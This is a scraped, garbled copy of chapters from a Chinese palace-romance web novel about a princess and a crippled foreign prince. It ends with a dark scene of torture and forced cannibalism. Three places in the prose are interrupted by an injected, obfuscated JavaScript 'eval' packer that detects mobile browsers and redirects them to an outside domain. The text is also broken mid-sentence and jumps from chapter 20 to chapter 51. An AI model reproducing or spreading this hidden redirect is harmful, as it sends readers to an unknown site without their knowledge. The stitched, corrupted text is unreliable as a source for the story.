姜稚月回了神,这才察觉自己与他贴得很近,男人紧实的腰腹和手臂和围起来,如铜墙铁壁一般将她桎梏在里面。 无处不在都是宋砚辞干净清冽的气息。 她的心脏陡然一紧,慌忙就要推开他。 不料男人非但没有松手,反倒捧住她的下巴,强迫她将头抬了起来。 宋砚辞的手指微凉,指腹的薄茧不经意摩挲着她下颌上柔软细腻的皮肤,带着不容人忽视的力道。 一寸寸的酥麻感从相触的地方晕开,染上灼烧的热意。 姜稚月呼吸紧促,抬着的眸不得不对上他幽暗晦涩的眼神。 她忍不住吞咽了一下,无措地看着宋砚辞渐渐欺近的面庞。 温热的鼻息喷洒在脸侧,姜稚月沁出冷汗的手心狠狠攥住,眼睫不可抑制地颤动。 空气变得稀薄而滚烫,耳中只剩下自己沉重的心跳声。 就在她以为他要亲上来的时候,忽听男人自喉咙里溢出一声闷闷的轻笑。 宋砚辞的拇指指腹不轻不重地擦过她的唇角,低笑出声: “公主的唇脂花了。” 说完,他在她下唇瓣上揉捻了两下,放开了她。 随着他的离开,所有的感官一瞬间回笼,姜稚月说不清自己心里是失落还是松了口气。 她怔怔地随着他的话又在自己唇畔擦了擦,慢吞吞回了句“多谢”,跟着起了身。 然而才刚站起来,余光一瞥,桌角摆放的一个针包就猝不及防地闯进了她的视线里。 18. 第 18 章 姜稚月原本都已经走出了一步,忽地一顿,又回过头去。 那个针包叠放地整整齐齐放在桌角的小柜子上。 姜稚月眼力好,一眼就瞧见那个针包的一角绣着一朵黄色的雏菊。 她对这图案再熟悉不过。 姚盈初的每个针包上都会绣着这个图案,从前她给宋砚辞施针时,她在旁边看到过好几次。 宋砚辞也察觉出她的异常,顺着她的视线看了过去,不禁蹙了蹙眉: “姚……” “执玉哥哥!” 姜稚月出声打断他的声音,回头看了他一眼,弯了弯唇,笑道: “我忽然想起来我还有些事,今日就不同你一起用膳了,我……先走了。” 说完,也不等宋砚辞再多说半句话,姜稚月提着裙摆像是被人追赶一般,急匆匆出了马车。 她的手在袖子里控制不住地发抖。 强撑着让自己脊背挺直,匆匆朝马车的反方向走去。 只是眼神到底出卖了她内心的慌乱和酸楚,飘忽不定不知看向何处,一副魂不守舍的样子。 不知走出多远,姜稚月忽然听到一道男声惊喜地唤她: “公主?!” 姜稚月起初没听到,直到那人的声音近在耳畔,她才一个激灵,脚步停了下来,朝着声音的方向看去。 灯火阑珊的街道上,顾思恒正站在她右手边,对她做了个揖。 姜稚月怔了片刻,才后知后觉对他回了个笑脸,问道: “你怎么在这?” 顾思恒扬了扬手里的油纸包,“家妹想吃这家的糖糕,我来买些,公主这是去往何处?” 去往何处? 姜稚月闻言,这才恍若初醒般往周围看了一眼。 宋砚辞的那辆马车早已不在原处,她抿了抿唇,“我去找我二姐。” 看出姜稚月的迷茫,顾思恒笑着邀约: “公主还未吃饭吧?天香楼刚来了个南方厨子,据说淮南菜做得一流,我正要去尝尝,公主一起吗?” 姜稚月连忙摇头,“不、不了,我……” “公主不必急着推辞,今日就我和家妹两个人,家妹公主也是认识的,不若一起如何?” 姜稚月顺着顾思恒的视线看过去,这才发现停在不远处的顾家马车。 似是为了验证他说的话一般,那马车帘子被掀了起来,里面探出个脑袋,看见她时那姑娘笑着对她挥了挥手。 姜稚月本就因上次之事对顾思恒略有亏欠,如此也不好再拒绝,想了想,点头应了下来。 …… “主子,公主和顾家那位郎君进了天香楼。” 常乐的声音从帘外传来。 宋砚辞手里摩挲着那枚白瓷药膏瓶子,指腹划过瓷瓶边沿,缓缓放下了车帘。 马车里霎时间黯了下去。 幽幽青丝氤氲,馨香无声蔓延,逼仄的车厢同外面的喧闹恍若两个世界。 宋砚辞怔怔盯着姜稚月方才坐过的地方,半晌,闭了闭眼,沙哑的声音里透着一丝不易察觉的疲惫,淡淡道: “回府。” 宋砚辞的马车停在雪竹苑门口的时候,宋知凌双手环胸倚在门框上,也不知等了多久。 月色洒在男人俊逸挺拔的身形上,像是落了一层白霜。 宋砚辞掀眸瞧了他一眼,转动轮椅往门口去。 路过宋知凌的时候,他直起身子推上宋砚辞的轮椅,两人沉默地回了院中。 “喝酒么?” 宋知凌问他。 宋砚辞摇了摇头,“近来喝的药与酒相冲,不喝了。” 宋知凌牙齿顶了顶腮,略一颔首,“行。” 说罢拿起一旁的酒坛给自己倒了一杯,手一撑,坐在了一旁的石桌上。 宋砚辞的手搭在膝上点了下: “今日你向阿月表明心迹了?” 宋知凌仰头喝酒的动作一顿,随即“咕嘟咕嘟”牛饮了几口,“嗯。” 宋砚辞眉间微微蹙着: “倘若阿月不愿,你不应当强迫她。” 他放下酒杯,嗤笑一声,不无讽刺道: “哥现在以何立场来说我?据我所知,那日在围场,你不是已经拒绝她了么?至于我与她之间如何,跟哥你又有什么关系?” 宋知凌缓缓转头定向宋砚辞,语气沉了下来,一字一顿道: “还是哥仗着唇上那点东西,便觉得阿月是你的囊中之物了?那晚不过是阿月喝醉了,神志不清罢了。” 他眯着眼,眸中露出讽刺的神色: “说起来,哥何时也成了趁人之危的小人?还是个心口不一的、趁人之危的小人,既然三番两次将阿月推开,如今这番作态又是为何?” 宋知凌的声音不大,语气却极重,像是一头护崽的猛兽一般凶戾,丝毫没有在姜稚月面前时的温顺逢迎。 “你若无心,便不要管她与谁在一起,别忘了,是哥当初亲口说的那句‘随你’。” 他将每句话都重重咬在齿间,死死盯着宋砚辞,因为一口气说得太多,胸膛略微起伏着。 院中死寂无声,微微的酒气晕散在夜色中。 疏忽一阵风轻轻拂过,树叶由远及近开始哗哗作响,似是恐有变天的征兆。 宋砚辞垂着眼眸,半晌轻扯了下唇角,语气意味不明道: “云笙何时……看人这般准了。” 宋知凌心里一跳,眉头紧拧,“你什么意思?” “我是说——” 宋砚辞两个指腹轻捻,那上面似乎还残留着姑娘腕上细嫩的温度。 停了良久,他面容平静地乜视了他一眼,睫毛在眼下投出颤动的阴影: “夜深了,你该早些回去就寝了。” - 璋华殿内灯火明亮。 暖黄色的光透过绢丝纱窗透了出来,照得院中的花木都蒙上了一层碎金一样的暖光。 锦葵顶着突然而起的狂风,端着脸盆飞快开门走进寝殿。 寝殿里,小公主一身水粉色软烟罗寝衣,比绸缎还要黑亮的头发披散在腰际,正坐在妆台前,双手托腮,镜中娇俏明艳的小脸上愁云密布。 锦葵将脸盆端到洗漱架上,过去替她梳发。 才刚站到她身后,往镜中一瞥,不由拧眉道: “公主唇上是怎么了?可是夜里有了蚊子?奴婢待会儿给帐中熏些驱蚊的香去。” 方才在岸上碰到宋砚辞的时候,姜稚月便让锦葵先回了,再加之那时候外面天暗,当下锦葵并未发现她唇上的异常。 这才有此一问。 姜稚月正发着呆,忽听锦葵这一番话,不禁也跟着回了神,一道往镜中自己的唇上望去。 宋知凌虽然并未将她的唇咬破,但到底在下唇的位置上留了个红色的血印子。 小小一点儿,倒真像是蚊虫叮咬的。 蚊虫叮咬…… 不知为何,她的脑海中忽然浮现起宋砚辞唇角那道伤疤。 姜稚月反复将这个词咀嚼了一番,脑中似有什么一闪而过,整个人猛地瞪大眼睛坐了起来。 “怎么了公主?” 锦葵被她吓了一跳,忙放下梳子,“可是梳疼了?” 姜稚月怔怔地摇了摇头,魂不守舍地站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“和平常无异,不过当时酒肆门口被东宫的人围了起来,奴婢也无法靠近,离得有些远,宋三皇子又背着光,实在是……” 锦葵抿了抿唇,小心翼翼觑着她的表情: “怎么了么?可是有什么问题?” 姜稚月凝眉沉思片刻,怔怔摇头,“无事,替我梳洗吧。” 不知是不是她的错觉,昨日在马车上时,宋砚辞对她的态度同从前都有些不同。 但姜稚月又说不出哪里不同,只好将这一切异常归咎为那夜她所做的出格之事上。 这般想着,随手拿了杯茶。 茶汤刚一入口,她就怔了一下,拿到眼前看了看,“这是……” 锦葵忐忑道: “这茶是奴婢昨日在马车上找到的,一直放在角落的格子里,也不知何时放的,奴婢找太医看过,是安神养颜的药茶,奴婢瞧您这两日神思不属,便想泡来试试,可是这茶有什么问题?” 姜稚月盯着眼前鲜绿色清透茶汤微微出神。 应当是那次去雪竹苑时宋砚辞派人放上去的,只是那次是朱砂陪着,后来朱砂出了事,这茶便一直放在那了。 可一看见这茶,她就想起了那日在琳琅斋发生的一切,拿茶的手顿时一顿,柳眉紧拧。 良久,小姑娘眼底的纠结慢慢变成黯淡。 她紧了紧手心,又缓缓松开: “算了,这些茶拿给大家分了吧——” 姜稚月随手将茶杯放下,面上神情明显淡了下来: “这一壶也端下去,以后不要再让我看到。” 19. 第 19 章 锦葵端着托盘出去的时候,恰好在门口碰见太子。 “谁惹我妹妹了,连今儿早上的茶都不合胃口了?” 太子含笑跨过门槛,一进门就见小姑娘托着腮,脸颊鼓鼓的坐在窗边发呆。 昨夜下了一夜的雨,今晨倒是放了晴,朝阳初升,金灿灿地照在院中地上的水洼里。 湿冷的风吹动窗前帘幔,小姑娘的发丝和裙袂亦随风轻轻拂动,潋滟的眸中被朝阳染上一层粼粼碎金。 太子过去在那泛红的小鼻尖上轻轻刮了一下: “想什么呢这么出神?不开心了?” 姜稚月吓了一跳,回身时眼底的怔愣之色还未彻底散去。 她眨了眨眼,笑得不自然: “哥哥怎么这么早来了?” 太子视线在她脸上逡巡一番,落在她强撑着扯出的笑容上,蹙眉道: “你又去寻他了?” 姜稚月一侧小脸方才被自己掌心撑着微微发红,闻言她垂下眼帘,鼓了鼓脸颊没说话。 太子见她不语,半晌再度开口: “那日梁邵之事,是因为恰好被你撞破了与吴王的密会场所,所以才敢对你下手。” “我知道,他对我讲了。” 太子自是知道这个“他”指的谁,他眼底划过一丝冷意,又极快地恢复过来,低低道: “朱砂之事,也是梁邵所为。” 姜稚月闻言猛地抬头,杏眸大睁,眼底满是抑制不住的惊讶。 “梁邵威胁了朱砂的侄儿。” 太子只简单地说了这一句,姜稚月便全都明了了。 她吸了吸泛红的鼻子,微微点头,然后蜷缩着靠在榻边,将下巴搁在了膝盖上,沉默下来。 院中隐隐传来脚步声和扫洒声,还有雨滴从檐下落入水缸中的滴答声。 姜稚月双眸盯着虚空发了好久的呆。 一回头,却意外瞧见太子也站在窗前盯着窗外某处,亦是一副心事重重的样子。 姜稚月不禁愣了一下。 自她记事起,哥哥便已经是太子,平日里对她虽温和,但在其余事情上却是杀伐果断、说一不二。 这么多年,她还从来没见过太子哥哥有这般优柔寡断的时候。 “哥哥……哥哥可是碰到了什么烦心事?” 太子闻声回过头来,盯着姜稚月看了一眼,笑了笑: “没什么,只是想起过段时日就到花神祭了。” “今年是二姐吧?” “嗯……” 太子蹙了蹙眉。 姜稚月这下是彻底肯定自己的太子哥哥有心事了。 否则他不会单就为了说梁邵之事过来一趟,现在又是这幅欲言又止的模样。 她眼珠子转了转,笑着过去凑到太子身边,问: “哥哥觉得顾思恒这人怎么样?” 太子眼神一沉,“阿月不是同他接触了几次,阿月觉得呢?” “哥哥——” 姜稚月望向太子,“是不是江东那边的战事有了什么问题?还是顾家怎么了?” 小女郎眸光灼灼,眼底透着清澈的了然,却丝毫不见埋怨或者惧意,只是平静地、定定地看着他。 太子心底疏忽闪过一抹复杂的情绪,蹙眉道: “阿月……” 他斟酌着语气,缓慢开口: “哥哥为你相中了王阁老的玄孙,王朔,父皇也极为满意,过几日端王的就藩宴上,你与他相看相看,若是可以——” 太子难得犹豫了下,才接着道: “若是可以,就同他定下来吧。” 王朔…… 姜稚月眸光闪烁,脑海中浮现起一张温文知礼的面庞。 说起来,那人从气度到身形再到动作神态,都与宋砚辞有几分相似。 时人也曾拿王朔与宋朝三皇子做比较。 但因曾经的宋砚辞实在太过耀眼,就连王朔这样的世家贵族子弟中的佼佼者都被比了下去。 姜稚月没想到太子哥哥看中的人是他,有些诧异于今日他今日的反常,忍不住问: “哥哥为何忽然这么着急替我定下婚事,可是出了什么事?” 太子回头看了她一眼,神色掩在背光处,看不真切,姜稚月只能听出他的声音同往常无异: “没有,你年纪也不小了,孤总不能看你这般蹉跎下去。” 她低头绞着帕子,抿唇犹豫了片刻,点了点头: “知道了。” 按说端王原本是在今年年底才去就藩,但因着出了吴王一事,为避免嫌疑,端王一家便向圣上请旨,提前去往封地。 就藩宴定在三月三,恰好是姜稚月生辰的前一个多月。 王家是如今上京城中的世家翘楚,王家的园林亦有“百园之首”的美称,因端王妃是王家大房的嫡长女,是以这宴就设在了王家。 姜稚月去的时候,大部分贵女都已到了。 众人见她到来,分分行礼问安,其中几个与她玩得好的,早就笑着迎了上来。 “公主怎么才来?我们方才还在打赌呢!” 姜稚月知她们几个人爱赌,忍不住抚手好奇道: “快说说,都赌什么了?让我也参与参与!” 那粉衣女子抿唇轻笑,跟众人对视一眼,神秘兮兮道: “赌公主今日会不会穿您那身赤红金凤襦裙……” “好哇王吟霜!你敢笑我!” 姜稚月一听她这话,小脸被气得殷红,上去就挠她的痒痒,几人笑闹成了一团。 那件赤红金凤襦裙明艳张扬,腰身收束合贴,是司衣局十五个绣娘花了三个月,特意为她十六岁生辰宴准备的。 姜稚月穿在身上实在是太过美艳。 她当时只在生辰宴上穿过一次,便迷得诸多世家子弟为她写诗赋曲,后来这股风气流传到了民间,一时竟引得“洛阳纸贵”。 在今年年前,这股风才算刮了过去。 吓得姜稚月从此后再没敢穿那件衣裳。 几个小女郎又叽叽喳喳笑闹了一会儿,姑娘们娇俏的笑声自然也传到了男席这边。 兵部尚书家的二公子贾逸是个混不吝的,与他爹一样兵痞子出身。 他豪饮一杯,一把搂住身旁的王朔,下巴朝姜稚月那边扬了扬,凑过去笑道: “听闻前两日太子将你祖父召去了东宫,恰逢半月后公主择婿,彦之,你不会好事将近了吧?” 贾逸虽然像模像样的只凑在王朔耳旁说这些,但声音却丝毫没有压低分毫,一时间引得他们这一桌的公子哥纷纷起哄出声。 王朔蹙了蹙眉,将贾南希的手从肩上拿下来,往对面桌的宋砚辞身上扫了一眼,语气严肃: “事关公主名节,南希兄莫要混开玩笑。” 贾逸顺着他的视线也瞧见了对面的宋砚辞,拖着调子“哦”了一声,“彦之不会是怕自己输给宋国那个残废吧?” 他拍了拍王朔的肩,这次倒是长了心眼儿,声音放小了些: “放心,那人伤了腿,怕是连那里也不行了,公主那娇滴滴的小娇娘,太子怎舍得她独守空……” 话音未落,只听“砰”的一声,贾逸面前的茶杯不知为何忽然炸开,茶杯的碎片像是长了眼睛一般,尽数朝着贾逸飞了过去。 众人还未反应过来,就见贾逸痛苦地哀嚎了一声,捂住眼睛跌在了地上打滚。 大汩大汩的鲜血从他紧捂的指缝间溢了出来,一时间同座之人都惊得退避三舍。 端王正在前厅招待太子,听了下人禀告猛地站了起来。 太子却在听完后,不动声色地饮了口茶,淡淡道: “既是意外,将人好生安顿,拿孤的令牌去宫里请太医来瞧瞧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15293325|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>端王原本还想赶过去瞧瞧,闻言往太子微沉的面上扫了一眼,眼珠子一转,忽然明白了过来,也跟着重新坐下,挥了挥手,让下人将人安顿到偏院,请府医先行止血。 一场闹剧便就这般无声地平息了下来。 等消息传到女眷席的时候,只剩轻描淡写地一句“杯子碎了,已经收拾好了”。 姜稚月下意识往宋砚辞那里看了一眼,隔得有些远,但见他完好无损地坐在那,便也放下心来,与小姐妹继续聊起了时下流行的胭脂。 因着出了贾逸那件事,宴饮自然没多久就结束了,多数见识了方才之事的男宾纷纷请辞。 最后留下来的就只剩宋砚辞、王朔等人。 姜稚月心里一直装着太子哥哥来前对她交代的话。 跟小姐妹往院子里去的时候,留意到王朔去了北面湖边的凉亭,便故意托词自己略有些醉酒要去歇一歇,与其余人分开了。 然而令姜稚月没想到的是,当她来到凉亭的时候,除了王朔在那,宋砚辞竟也在,一时不禁顿住了脚步。 站在原地犹豫了一会儿,姜稚月正想悄无声息地离开此处,王朔忽然出声叫住了她。 姜稚月不得已,深吸一口气,强迫自己摆出一副神态自若的模样来,转过身去,笑道: “王公子,执玉哥哥也在。” 王朔被她明艳娇俏的笑意晃了一下,神情有些拘谨地看了亭中二人一眼,道: “公主是来寻执玉兄的吧,那你二人……” “我是来找你的。” 姜稚月匆忙打断他的话,笑着对王朔道: “我是来找王公子的,年前王公子同你祖父一道编纂的《华炎大典》其中有几处我读了甚是不解,不知你是否得空?” 凉亭算不得宽敞,三面垂着纱幔,只有面对湖边的那一面视野宽阔。 湖面有潮湿的风吹来,纱幔翩飞,在宋砚辞与她之间覆上一层若即若离的朦胧。 饶是如此,姜稚月仍能感觉到来自那人的视线,如有实质一般,一寸寸在她脸上游走,带着些幽深而不容忽视的气息。 只一瞬间,周围空气仿佛凝固,莫名的压迫感如潮水般涌来。 姜稚月竭力忽视那道视线,只看向王朔。 王朔被她盯得耳朵微红,略一颔首,温声道: “能为公主解惑,是彦之之幸,还请公主同我移步……” “彦之。” 王朔话未说完,坐在一旁一直未出声的宋砚辞低低开口: “你方才不是问我借阅《医典》么?我忽然想起,那本书恰好被我带在马车上,劳烦你自己去取一下。” 男人这话一说出口,姜稚月和王朔都愣了一下。 姜稚月下意识朝他看去。 阳光温柔似水,落在宋砚辞线条完美的侧脸和雅白色衣衫上。 他的唇畔挂着温和笑意,琥珀色眸底落进细碎阳光,整个人都是一副清隽朗逸的贵公子模样。 然而不知为何,姜稚月的眼皮不自觉跳了跳,像是被他锁在了视线里,总觉得有种危险在不断逼近。 她张了张嘴,正打算说自己同王朔一同前去,就见宋砚辞对她和煦一笑,不紧不慢道: “公主且留步,我尚有一事,想问公主。” 见她就要拒绝,宋砚辞略微加重了语气: “事态紧急,此刻便要问清。” 他都如此说了,姜稚月便也不好再说什么,抱歉地对王朔一笑。 等到王朔离开后,凉亭里突然安静了下来,就连方才阵阵吹拂的微风,都似是绕了道。 姜稚月打从那次被他拒绝,又加之想起那夜之事后,面对宋砚辞时总觉得异常心虚。 她拘谨地攥了攥裙摆,正要找个离他远些的地方坐下,就听宋砚辞好听的声音似是带着笑意,语气温柔: “阿月,坐过来。” 20. 第 20 章 宋砚辞很久没叫过她“阿月”这个名字。 乍然听到这两个字,姜稚月恍惚愣了一下。 不知为何,心脏像是突然被人攥住了一般,停了一下,继而不受控制地狂跳起来。 她在宋砚辞凝视的目光中抿了抿唇,小步挪着坐在了他身旁的石凳上。 “执玉哥哥要问什么?” 少女的声音软糯清丽,明如点漆般的眸中水光潋滟,鹅黄色的裙裾被微风吹得轻轻拂动,勾勒出袅娜的身段。 顾盼流眄间,皎灿若春华。 宋砚辞眼帘微抬,幽沉的目光缓慢在她脸上游走,须臾,低低开口: “手腕可好了?” 姜稚月的手下意识一颤,往袖中缩了缩,“都好了。” “我看看。” “不用了,真的好了……”姜稚月面颊微红。 宋砚辞语气越平静,那夜的景象在她脑中就越能掀起惊涛骇浪。 她喉咙紧张地吞咽了一下,不自觉抬了抬眼皮,视线落在宋砚辞唇上。 男人的薄唇颜色淡红,唇上那点疤痕已经淡得几乎看不出来了。 正盯着出神,男人似是感到她的视线,漂亮的薄唇缓缓勾了起来。 姜稚月眼睫一颤,抬头的一瞬间猝然撞进他深邃的眼神里。 她匆忙收回视线,低着头小声道: “执玉哥哥要问我什么?” “想不想听曲?” 宋砚辞语气含笑,手在旁边的琴弦上轻轻撩拨了一下。 清亮的声音如泉水一般婉转流泄,琴声悠悠。 姜稚月蓦然瞪大双眸,朱唇微启,“执玉哥哥……” 宋砚辞在古琴方面的造诣曾经莫说在京城,就是在整个姜国都声名远扬,有不少人千里而来,就为了向他讨教琴技。 而她从前最喜欢的,便是撑着下巴趴在他跟前,听他抚琴。 但自从他三年前腿受伤后,就再没碰过他的琴了。 不少人为此扼腕可惜了许久。 “想不想听?” 宋砚辞又问了一遍,男人眼底含笑,声音温柔。 “可你……” 姜稚月觉得自己的嗓子里有些发涩,像是被一团棉絮塞着,声线颤着堵在喉咙里出不来。 宋砚辞见她不言,将手抚在琴上。 指尖随意撩拨,修长的手指游刃有余。 宛若仙乐般的悠扬琴音潺潺而出,余音绕梁,四周的纱幔仿佛都浸染上美妙的琴音,飘扬灵动起来。 远处湖水在阳光下跳跃,和煦的春风拂面。 姜稚月怔怔盯着眼前抚琴的男人,一时间眼眶发热,从前的记忆接踵而至。 宋砚辞抚的这首曲子,是为她十三岁生辰宴特别创作的,他也就只在宴席上面弹过那么一次,却是最广为流传的一曲。 那一年,昭华公主和宋国三皇子的佳话传得风风雨雨,也是那一年,她喜欢上的他。 琴声悠悠,眼前男人同从前那个男人逐渐重叠为一人。 姜稚月怔怔听着,忽听见琴声中夹杂着一声男人的轻叹: “公主的小云雀儿,如今还养在宫中吗?” 她诧异抬头,忽然被宋砚辞温柔如水的目光搅得心旌荡漾。 她听见他说: “回头我再送公主一只——” 琴声中忽然某个音陡然拔高了一下,一瞬间像是弹进了姜稚月的心里,有什么巨大的喜悦呼之欲出,心田像是被浇了一汪蜜水。 姜稚月望着他,清凌凌的眸中暗含着隐隐期待。 宋砚辞双手轻压琴弦止了音,定定看着她: “云雀儿彼此有个伴儿才圆满。” 姜稚月猛地睁大眼睛,心跳剧烈: “执玉哥哥这是何意?” 然而她问完后,宋砚辞却沉默了下来,琥珀色的眸中神色犹豫。 姜稚月瞧了他半晌,忽然鼓起勇气直视着他,正色道: “执玉哥哥可知方才是我兄长让我与王朔相看?” 她从他的眼中察觉出一抹情绪的波澜,紧了紧掌心,继续锁着他的视线: “我都记起来了,那夜……我吻了你。” 对面男人眼皮轻颤了一下,姜稚月逼近过去,缓慢而掷地有声地问他: “为何没有推开我?你也喜欢我,对不对?” 你也喜欢我,对不对。 这句话那次围场姜稚月就问过他。 可这一次,回忆起了两人亲吻的画面,再问出口时,姜稚月觉得,彼此之间又多了些说不清道不明的旖旎。 连风里,似乎都是潮湿热烈的暧昧气息。 她的心跳得有些快,胸口剧烈起伏,却又紧紧压抑着呼吸,一错不错盯着他。 宋砚辞亦用那双深情皎灿的双眸凝视着她。 良久,似是认命般叹息: “阿月,我的腿有疾,也许这辈子都站不起来。” 他沉默了一下,“阿月,其实我一直……” “三皇子!” 宋砚辞的话被急匆匆传来的女声打断。 姜稚月一直盯着宋砚辞。 见他在听到那个声音的时候,脸上的笑意明显有一瞬间的凝滞,心底原本那腾起的雀跃又狠狠地坠落回去。 她顺着宋砚辞的目光缓缓回头。 一身素色裙衫的姚盈初正立在凉亭之外,视线越过她,落在宋砚辞身上。 “阿月……” 宋砚辞眉心拢起,语气淡了下去,“我与盈初有要事相谈,要先走一步。” 说罢,他似是察觉到自己的语气太过,遂又缓和了几分,在她发顶抚了抚: “明日未时在万花楼的花园,我等你,可好?” 湖边的风有点大,姜稚月吸了吸鼻尖,“执玉哥哥先去忙吧。” 她看了眼姚盈初,努力扯了扯唇角,故作轻松道: “正事要紧。” 宋砚辞定定看了她一眼,毫不犹豫地同姚盈初一起离开了凉亭。 姜稚月又在湖边站了一会儿才没精打采地离开,回到皇宫当晚就喷嚏连天。 锦葵一面给她熏艾,一面忍不住抱怨: “都是公主在凉亭待的,他都跟那女的走了,公主你就应该走在他们前面!” 姜稚月坐在床上,裹紧被子,只露出个小脑袋,一面看她絮絮叨叨一面忍不住想笑。 锦葵无意间扫到她的神情,恼道: “公主还笑得出来!” 姜稚月吸了吸红红的鼻尖,小嘴一撅,撒娇道: “好锦葵,小葵葵,给我倒杯水嘛……” 今日宋砚辞没说完的话,后来姜稚月想了想反应了过来。 她今日说他未拒绝自己的吻,他并未反驳。 他对她说,要送她小云雀儿,又说一对才圆满,还对她说他的腿疾…… 姜稚月越想越觉得,执玉哥哥是终于要接受了自己。 她满心的喜悦像是甜甜的蜜糖,幸福感将自己包围,有种终于守得云开见月明的感觉了。 她都迫不及待要去百花楼见他了! 一贯娇生惯养的小女郎,第一次没有因为生病而无精打采。 翌日一早,姜稚月起来的时候,风寒果然加重了。 等她从被窝里拖着沉重的身体起来的时候,已经快中午了。 锦葵一进来,见她一个喷嚏接一个喷嚏,急忙过来替她拿了帕子,担忧道: “奴婢去请太医来吧?公主怎么突然就严重了,早知道昨天就不应该听公主的,老早把太医请来,再不济,也要让韩云过来给公主看看才是。” 姜稚月擦了擦鼻涕,摇头拖着浓重的鼻音道: “不碍事,别去了,快给我梳洗,待会儿我要出宫……” “公主还要去呢?” 锦葵眉头紧锁,“奴婢着人去万花楼跟宋三皇子知会一声,你们改日再……” “不要!” 姜稚月猛地提高音量,又因为说得太着急不小心被呛了下,捂着胸口咳嗽。 一连磕得眼角和鼻尖都泛了红才停下。 锦葵拗不过她。 见她虽然一脸病容,但精神气却高涨,眼睛亮亮的充满期待。 锦葵忍了忍终是将规劝的话咽了回去,好生替姜稚月梳洗打扮了一番,又按她的要求给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋砚辞虽然人不在宋国,但对宋国的消息了如指掌。 他知道他的父皇这两年迷.信修仙之术,成日里不理朝政,若非祖宗基业和前朝几位阁老忠臣,宋国恐怕早已岌岌可危。 暗线来报,宋皇近来身体极差,宋国朝堂保不齐哪日便会生变…… 宋砚辞盯着信上“联姻”两个字看了许久,眼睫垂下阴翳,眸中情绪复杂难辨。 良久,他阖了阖眼,抬手将信纸放在即将燃尽的蜡烛上。 火舌猛地蹿起,贪婪地将信纸焚烧殆尽。 宋砚辞将指腹的灰烬擦拭干净,看了眼外面的天色,才要唤人进来更衣,常乐突然叩门,小声道: “殿下,姜国太子到访。” 宋砚辞动作一顿,良久,垂眸轻笑一声,“请进来。” 两个同样芝兰玉树的男人相对而坐,同那夜茶缘酒肆门口很像。 晨光隔着窗纱照出幽暗的环境。 宋砚辞不发一言看着他,清冷的眸中透着了然。 太子率先开了口: “贾逸右眼失明了。” 宋砚辞“唔”了声,似乎对这个结果毫不意外,脸上神色分毫未动。 “你可知你身为宋国皇子,肆意戕害我国官员之子,罪当几何?” 宋砚辞微微勾了勾唇角,语气讽刺: “既如此,殿下便不该在宴上替我遮掩,直接派人拿了我便可。” “你虽是为阿月,但此作为若是被人发现,孤亦不能徇私。” 太子扫了他一眼,不欲与他再多说这个问题,转而道: “孤来的目的想必你也知道,这些年你的筹谋不少,但阿月心思单纯,不论是王朔,还是四皇子……都比你更适合她。” 宋砚辞闻言未置一词,落在膝头的手背上青筋明显。 他低头沉默半晌,轻笑道: “我亦如此认为,今日去赴约,本就是为了同她彻底说清,日后莫要再纠缠……” 话未说完,门口突然传来一阵仓促至极的脚步声,宋砚辞猛地顿住,不知为何眉心突地一跳。 紧接着,太子身边的李福安在门外带着哭腔喊道: “太子……太子殿下!!公主在百花楼门前遇刺,性命垂危啊殿下!!” 李福安刚说完,宋砚辞手中的茶杯便被他捏碎,鲜血和碎渣沿着苍白的手指蜿蜒而落。 男人脸色煞白,一贯平静的面容上第一次浮现起慌乱之色。 50-60 第51章 第51章“除了我,没人能够再/…… 宋硯辭换了身水蓝色锦缎长衫,头戴银冠,清隽的面容淡然无波。 男人芝兰玉树的身形在这腌臜阴暗的地牢中显得十分突兀,幽昏的光亮照在他水蓝色长衫上,犹如在他周身笼罩了一层柔和的暖意,映出些许幹净的波光。 昏暗越发衬得他整个人如皎月般高洁,只是站在那里就让人自惭形秽。 里面的人一看见他,像是看见了什么可怖的东西般,呜呜啊啊的喊了几声,继而又像是被愤怒冲昏了头脑,口齿不清地发出类似野兽的低吼。 间或还伴隨着阵阵铁链相撞的脆响。 宋硯辭忍不住微微低头,冷白修长的手指抵在鼻尖,唇角轻勾着笑出了声。 他这一笑,在肮脏晦黯的地牢中显得分外明灿皎洁,眼角那颗低垂的血痣又有几分说不出的诡异。 宋硯辭款步走进地牢中,看着被拴坐在椅子上的中年男人,厌恶地蹙了蹙眉,意味深长的笑声低低回荡在空荡的石壁上。 “听说您今日,又没有好好用膳。” 他弯下身子,与座椅上的男人面对面,眼底盛着温柔笑意: “是覺得……今日送来的饭菜,不可口么?” “啊啊啊!!呜呜呜!!!” 座椅上,中年男人目眦具裂,恶狠狠等着他,发疯般嚎叫,似乎若非铁链拴着,他恨不得啖其肉饮其血。 他身上的衣衫虽然已经十分破烂肮脏,却还隐约能看出是一身明黄色的龙袍。 宋硯辭直起身子,似是在欣赏自己的杰作一般上下慢条斯理地打量着他,须臾,笑出了声。 “父皇那般宠愛您那个娴妃,儿臣将她煮来孝敬父皇,父皇怎还不高興了?” 他回神从刑具架子上寻来一把匕首,缓慢地沿着对面男人的脸颊向下,一路滑到他的脖颈上。 “儿臣这可都是为了父皇好,父皇您若是不吃,岂不是辜负了儿臣的一片孝心?” “您想啊,您若是将那娴妃吃进了肚里,你们可不就是永远在一起了?怎么父皇平日里口口声声的宠愛,真要与她骨血相溶,您怎么反倒不愿意了呢?” 宋砚辞唇角勾起興味的笑意,然而眼底却冰冷得没有一丝温度。 即便墙壁上灯盏的光直面着他,似乎也难以照进他幽深晦黯的眼底。 